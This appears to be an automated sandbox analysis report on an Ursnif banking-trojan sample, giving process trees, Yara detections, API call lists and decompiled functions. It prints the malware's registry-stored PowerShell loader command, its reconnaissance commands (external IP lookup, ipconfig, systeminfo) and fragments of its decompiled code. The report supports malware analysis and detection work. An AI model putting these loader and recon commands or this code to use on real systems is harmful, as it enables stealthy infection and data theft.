Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\47278A61-FA3B-119B-3C6B-CED530CFE2D9').apiMgcfg))
Imagebase:	0x13fd10000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: csc.exe PID: 2364 Parent PID: 1828

General

Start time:	11:54:42
Start date:	09/02/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline'
Imagebase:	0x400000
File size:	88712 bytes
MD5 hash:	3855B7E82DEA7F28C3B620F44487FCC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: cvtres.exe PID: 2456 Parent PID: 2364

General

Start time:	11:54:43
Start date:	09/02/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES6C1D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp'
Imagebase:	0x400000
File size:	39056 bytes
MD5 hash:	E26F8BDFB6DF8F4A722D2D79A3A14E78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: csc.exe PID: 824 Parent PID: 1828

General

Start time:	11:54:50
Start date:	09/02/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline'
Imagebase:	0x400000
File size:	88712 bytes
MD5 hash:	3855B7E82DEA7F28C3B620F44487FCC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: cvtres.exe PID: 2836 Parent PID: 824

General

Start time:	11:54:51
Start date:	09/02/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES8BAE.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp'
Imagebase:	0x400000
File size:	39056 bytes
MD5 hash:	E26F8BDFB6DF8F4A722D2D79A3A14E78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 2780 Parent PID: 1920

General

Start time:	11:54:57
Start date:	09/02/2021
Path:	C:\Windows\System32\control.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\control.exe -h
Imagebase:	0xfff10000
File size:	114688 bytes
MD5 hash:	FD3F34830C39F4B554106ADA19924F4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 2140 Parent PID: 2780

General

Start time:	11:54:59
Start date:	09/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Imagebase:	0xff0c0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: explorer.exe PID: 1388 Parent PID: 1828

General

Start time:	11:55:05
Start date:	09/02/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0xffca0000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: cmd.exe PID: 656 Parent PID: 1388

General

Start time:	11:55:15
Start date:	09/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\29B8.bi1'
Imagebase:	0x4acf0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: nslookup.exe PID: 928 Parent PID: 656

General

Start time:	11:55:15
Start date:	09/02/2021
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	nslookup myip.opendns.com resolver1.opendns.com
Imagebase:	0xff370000
File size:	109568 bytes
MD5 hash:	891C5270AFE8A69366702C88F3E24768
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1820 Parent PID: 1388

General

Start time:	11:55:16
Start date:	09/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C 'echo -------- >> C:\Users\user\AppData\Local\Temp\29B8.bi1'
Imagebase:	0x4a7c0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1408 Parent PID: 1388

General

Start time:	11:55:16
Start date:	09/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C 'ipconfig /all >> C:\Users\user\AppData\Local\Temp\B55E.bin1'
Imagebase:	0x4a9a0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1432 Parent PID: 1388

General

Start time:	11:55:16
Start date:	09/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C 'systeminfo.exe > C:\Users\user\AppData\Local\Temp\A8F1.bin1'
Imagebase:	0x4a9a0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: ipconfig.exe PID: 528 Parent PID: 1408

General

Start time:	11:55:17
Start date:	09/02/2021
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0xff180000
File size:	58368 bytes
MD5 hash:	CF45949CDBB39C953331CDCB9CEC20F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 1920 Parent PID: 2296 rundll32.exeCOMMON

Executed Functions

Function 02360755, Relevance: 47.6, APIs: 24, Strings: 3, Instructions: 311memorylibrarynativeCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(P)(), ref: 02360774

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

memset.NTDLL ref: 023607A5
RtlInitializeCriticalSection.NTDLL(04908F48), ref: 023607B6

Part of subcall function 0235A59F: RtlInitializeCriticalSection.NTDLL(02367380), ref: 0235A5C3
Part of subcall function 0235A59F: RtlInitializeCriticalSection.NTDLL(02367360), ref: 0235A5D9
Part of subcall function 0235A59F: GetVersion.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0235FFB2), ref: 0235A5EA
Part of subcall function 0235A59F: GetModuleHandleA.KERNEL32(0236801D,?,00000000), ref: 0235A617

Part of subcall function 02352CD4: RtlAllocateHeap.NTDLL(00000000,-00000003,771542C0), ref: 02352CEE

CreateMutexA.KERNELBASE(00000000,00000001,00000060,?,00000000), ref: 023607DA
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0235FFB2), ref: 023607EB
CloseHandle.KERNEL32(000001CC), ref: 023607FF
GetUserNameA.ADVAPI32(00000000,?), ref: 02360844
RtlAllocateHeap.NTDLL(00000000,?), ref: 02360857
GetUserNameA.ADVAPI32(00000000,?), ref: 0236086C
NtQueryInformationProcess.NTDLL(00000000,?,00000018,?), ref: 023608A0
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000), ref: 023608B5
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0235FFB2), ref: 023608BF
CloseHandle.KERNEL32(00000000), ref: 023608C9
GetShellWindow.USER32 ref: 023608E4
GetWindowThreadProcessId.USER32(00000000), ref: 023608EB
CreateEventA.KERNEL32(02367160,00000001,00000000,00000000,61636F4C,00000001,?,?,?,00000000), ref: 02360975
RtlAllocateHeap.NTDLL(00000000,00000018,61636F4C), ref: 0236099D
OpenEventA.KERNEL32(00100000,00000000,04908BE0,?,00000000), ref: 023609C8
CreateEventA.KERNEL32(02367160,00000001,00000000,?,?,00000000), ref: 023609DE
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0235FFB2), ref: 023609E4
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 02360A7B
SetEvent.KERNEL32(?,Function_00010560,00000000,00000000,?,00000000), ref: 02360AF4
RtlAllocateHeap.NTDLL(00000000,00000043,Function_00010560), ref: 02360B0C
wsprintfA.USER32 ref: 02360B3C

Part of subcall function 023557B5: HeapFree.KERNEL32(00000000,?), ref: 02355827

Part of subcall function 02352EFB: HeapFree.KERNEL32(00000000,?), ref: 02352F66

Strings

ADVAPI32.DLL, xrefs: 02360A76
P)(, xrefs: 02360767
0123456789ABCDEF, xrefs: 023607BD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Allocate$CriticalEventInitializeSection$CreateErrorHandleLastProcess$CloseFreeNameOpenUserWindow$InformationLibraryLoadModuleMutexQueryShellThreadVersionmemsetwsprintf
String ID: 0123456789ABCDEF$ADVAPI32.DLL$P)(
API String ID: 2689593651-1455387280
Opcode ID: f28c9cdf72b1e1cf8d8b336149f642e5e440c106802639b1ce93b6f37774c282
Instruction ID: 9f920353d3b9135b75a7595cbc58b3cf98a3cd85371a8db0642cabf7b3f13c6e
Opcode Fuzzy Hash: f28c9cdf72b1e1cf8d8b336149f642e5e440c106802639b1ce93b6f37774c282
Instruction Fuzzy Hash: 2BB1ADF09803049FD7249F65D88EA2ABBEEFB44748F51CC5EE44683244DB71D8658F61

Uniqueness

Uniqueness Score: -1.00%

Function 00477AA8, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00477AA8(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x47d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x47d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x47d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x47d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x47d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x47d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x47d27c; // 0x374a7d0
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x47e7f2; // 0x73797325
				_t83 = E00474400(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x47d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9");
					CloseHandle(_v32);
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x47d27c; // 0x374a7d0
				_t16 = _t93 + 0x47e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x00477ab1
0x00477ab7
0x00477ab9
0x00477ad3
0x00477ad7
0x00477ada
0x00477d4f
0x00477d56
0x00477d56
0x00477ae0
0x00477af5
0x00477af7
0x00477afb
0x00477afe
0x00477d3f
0x00477d49
0x00000000
0x00477d49
0x00477b04
0x00477b0f
0x00477b14
0x00477b19
0x00477b1c
0x00477b23
0x00477b2a
0x00477b2d
0x00477d2f
0x00477d39
0x00000000
0x00477d39
0x00477b43
0x00477b47
0x00477b4a
0x00477b4d
0x00477b55
0x00477b58
0x00477b61
0x00477b67
0x00477b71
0x00477b78
0x00477b78
0x00477b8a
0x00477b95
0x00477ba3
0x00477ba8
0x00477bad
0x00477bb0
0x00477bb5
0x00477bbf
0x00477bc2
0x00477bc5
0x00477bdb
0x00477bdf
0x00477be2
0x00477d2d
0x00000000
0x00477d2d
0x00477bf9
0x00477c4a
0x00477c0d
0x00477c15
0x00477c1a
0x00477c28
0x00477c31
0x00477c3a
0x00477c3a
0x00477c48
0x00477c48
0x00477c4e
0x00477c52
0x00477c52
0x00477c58
0x00000000
0x00000000
0x00477c5a
0x00477c60
0x00477d07
0x00477d0a
0x00477d17
0x00477d17
0x00477d1b
0x00000000
0x00000000
0x00477d10
0x00477d14
0x00477d14
0x00477d16
0x00477d16
0x00477d20
0x00477d27
0x00477d29
0x00000000
0x00477d29
0x00477c66
0x00477c68
0x00477c68
0x00477c7b
0x00477c81
0x00477c8c
0x00477c8e
0x00477c92
0x00477c94
0x00477c94
0x00477c99
0x00477c9b
0x00477c9b
0x00477c99
0x00477ca0
0x00477ca4
0x00477ca4
0x00477cb4
0x00477cb9
0x00477cbc
0x00477cbc
0x00477cbf
0x00477cc9
0x00477cd1
0x00477cd6
0x00477ce4
0x00477ce4
0x00477cf8
0x00477cfc
0x00477cfc

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 00477AD3
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00477AF5
memset.NTDLL ref: 00477B0F

Part of subcall function 00474400: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,004791A4,63699BCE,00477B28,73797325), ref: 00474411
Part of subcall function 00474400: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 0047442B

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00477B4D
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00477B61
CloseHandle.KERNEL32(00000000), ref: 00477B78
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 00477B84
lstrcat.KERNEL32(?,642E2A5C), ref: 00477BC5
FindFirstFileA.KERNELBASE(?,?), ref: 00477BDB
CompareFileTime.KERNEL32(?,?), ref: 00477BF9
FindNextFileA.KERNELBASE(00477E0E,?), ref: 00477C0D
FindClose.KERNEL32(00477E0E), ref: 00477C1A
FindFirstFileA.KERNEL32(?,?), ref: 00477C26
CompareFileTime.KERNEL32(?,?), ref: 00477C48
StrChrA.SHLWAPI(?,0000002E), ref: 00477C7B
memcpy.NTDLL(00000000,?,00000000), ref: 00477CB4
FindNextFileA.KERNELBASE(00477E0E,?), ref: 00477CC9
FindClose.KERNEL32(00477E0E), ref: 00477CD6
FindFirstFileA.KERNEL32(?,?), ref: 00477CE2
CompareFileTime.KERNEL32(?,?), ref: 00477CF2
FindClose.KERNELBASE(00477E0E), ref: 00477D27
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 00477D39
HeapFree.KERNEL32(00000000,?), ref: 00477D49

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$CreateHandlelstrcatmemcpymemset
String ID:
API String ID: 455834338-0
Opcode ID: 6f68a93e906c2227751526f9548709cdbfc8465ca65c0960aa0fca0877b79c68
Instruction ID: e3ab944fc669c3ec3843a25fefaf706c1a5ba02d766e88a51fd065086f3f6e09
Opcode Fuzzy Hash: 6f68a93e906c2227751526f9548709cdbfc8465ca65c0960aa0fca0877b79c68
Instruction Fuzzy Hash: D3814D71D00109EFDF219FA5DC84AEEBBB9FF48300F5045AAE519E6260D7359981CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 003853A0, Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E003853A0(intOrPtr __eax) {
				intOrPtr _v8;
				void* _v12;
				char _v15;
				char _v17;
				char _v18;
				char _v22;
				int _v28;
				char _v289;
				long _t44;
				long _t61;
				long _t63;
				CHAR* _t70;
				CHAR* _t72;
				struct HINSTANCE__* _t78;
				struct HINSTANCE__* _t84;
				char* _t94;
				void* _t95;
				intOrPtr _t99;
				struct HINSTANCE__* _t107;
				void* _t110;
				void* _t112;
				intOrPtr _t113;

				_t110 = _t112;
				_t113 = _t112 + 0xfffffee0;
				_v8 = __eax;
				GetModuleFileNameA(0,  &_v289, 0x105);
				_v22 = 0;
				_t44 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
				if(_t44 == 0) {
					L3:
					_push(_t110);
					_push(0x3854a5);
					_push( *[fs:eax]);
					 *[fs:eax] = _t113;
					_v28 = 5;
					E003851E8( &_v289, 0x105);
					if(RegQueryValueExA(_v12,  &_v289, 0, 0,  &_v22,  &_v28) != 0 && RegQueryValueExA(_v12, E0038560C, 0, 0,  &_v22,  &_v28) != 0) {
						_v22 = 0;
					}
					_v18 = 0;
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(E003854AC);
					return RegCloseKey(_v12);
				} else {
					_t61 = RegOpenKeyExA(0x80000002, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
					if(_t61 == 0) {
						goto L3;
					} else {
						_t63 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v12); // executed
						if(_t63 != 0) {
							_push(0x105);
							_push(_v8);
							_push( &_v289);
							L003812A4();
							GetLocaleInfoA(GetThreadLocale(), 3,  &_v17, 5); // executed
							_t107 = 0;
							if(_v289 != 0 && (_v17 != 0 || _v22 != 0)) {
								_t70 =  &_v289;
								_push(_t70);
								L003812AC();
								_t94 = _t70 +  &_v289;
								while( *_t94 != 0x2e && _t94 !=  &_v289) {
									_t94 = _t94 - 1;
								}
								_t72 =  &_v289;
								if(_t94 != _t72) {
									_t95 = _t94 + 1;
									if(_v22 != 0) {
										_push(0x105 - _t95 - _t72);
										_push( &_v22);
										_push(_t95);
										L003812A4();
										_t107 = LoadLibraryExA( &_v289, 0, 2);
									}
									if(_t107 == 0 && _v17 != 0) {
										_push(0x105 - _t95 -  &_v289);
										_push( &_v17);
										_push(_t95);
										L003812A4();
										_t78 = LoadLibraryExA( &_v289, 0, 2); // executed
										_t107 = _t78;
										if(_t107 == 0) {
											_v15 = 0;
											_push(0x105 - _t95 -  &_v289);
											_push( &_v17);
											_push(_t95);
											L003812A4();
											_t84 = LoadLibraryExA( &_v289, 0, 2); // executed
											_t107 = _t84;
										}
									}
								}
							}
							return _t107;
						} else {
							goto L3;
						}
					}
				}
			}

0x003853a1
0x003853a3
0x003853ab
0x003853bc
0x003853c1
0x003853da
0x003853e1
0x00385423
0x00385425
0x00385426
0x0038542b
0x0038542e
0x00385431
0x00385443
0x00385466
0x00385486
0x00385486
0x0038548a
0x00385490
0x00385493
0x00385496
0x003854a4
0x003853e3
0x003853f8
0x003853ff
0x00000000
0x00385401
0x00385416
0x0038541d
0x003854ac
0x003854b4
0x003854bb
0x003854bc
0x003854cf
0x003854d4
0x003854dd
0x003854f3
0x003854f9
0x003854fa
0x00385507
0x0038550c
0x0038550b
0x0038550b
0x0038551b
0x00385523
0x00385529
0x0038552e
0x0038553b
0x0038553f
0x00385540
0x00385541
0x00385556
0x00385556
0x0038555a
0x00385573
0x00385577
0x00385578
0x00385579
0x00385589
0x0038558e
0x00385592
0x00385594
0x003855a9
0x003855ad
0x003855ae
0x003855af
0x003855bf
0x003855c4
0x003855c4
0x00385592
0x0038555a
0x00385523
0x003855cd
0x00000000
0x00000000
0x00000000
0x0038541d
0x003853ff

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B003D,003D90A4), ref: 003853BC
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B003D,003D90A4), ref: 003853DA
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B003D,003D90A4), ref: 003853F8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00385416
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0038545F
RegQueryValueExA.ADVAPI32(?,0038560C,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,003854A5,?,80000001), ref: 0038547D
RegCloseKey.ADVAPI32(?,003854AC,00000000,?,?,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0038549F
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 003854BC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 003854C9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 003854CF
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 003854FA
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00385541
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00385551
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00385579
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00385589
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 003855AF
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 003855BF

Strings

Software\Borland\Locales, xrefs: 003853D0, 003853EE
Software\Borland\Delphi\Locales, xrefs: 0038540C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 3bc861e57dc47a2143f88d444b79ad46ea11b3e4236c0d044e545c47cc260e70
Instruction ID: a030d1cdec4530a65f441f1c8c19d783b78864c1eb881d6f9e7d4e402e1756e6
Opcode Fuzzy Hash: 3bc861e57dc47a2143f88d444b79ad46ea11b3e4236c0d044e545c47cc260e70
Instruction Fuzzy Hash: 65516371A4075C7EEB22E6A4CC46FEF7BAD9B04740F5104E1BA04E61C1E6B49E448B60

Uniqueness

Uniqueness Score: -1.00%

Function 0234E64A, Relevance: 16.6, APIs: 11, Instructions: 130libraryloadernativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 0234E67D
GetLastError.KERNEL32 ref: 0234E68B
NtSetInformationProcess.NTDLL ref: 0234E6E5
GetProcAddress.KERNEL32(456C7452,00000000), ref: 0234E724
GetProcAddress.KERNEL32(61657243), ref: 0234E745
TerminateThread.KERNEL32(?,00000000,?,00000004,00000000), ref: 0234E79C
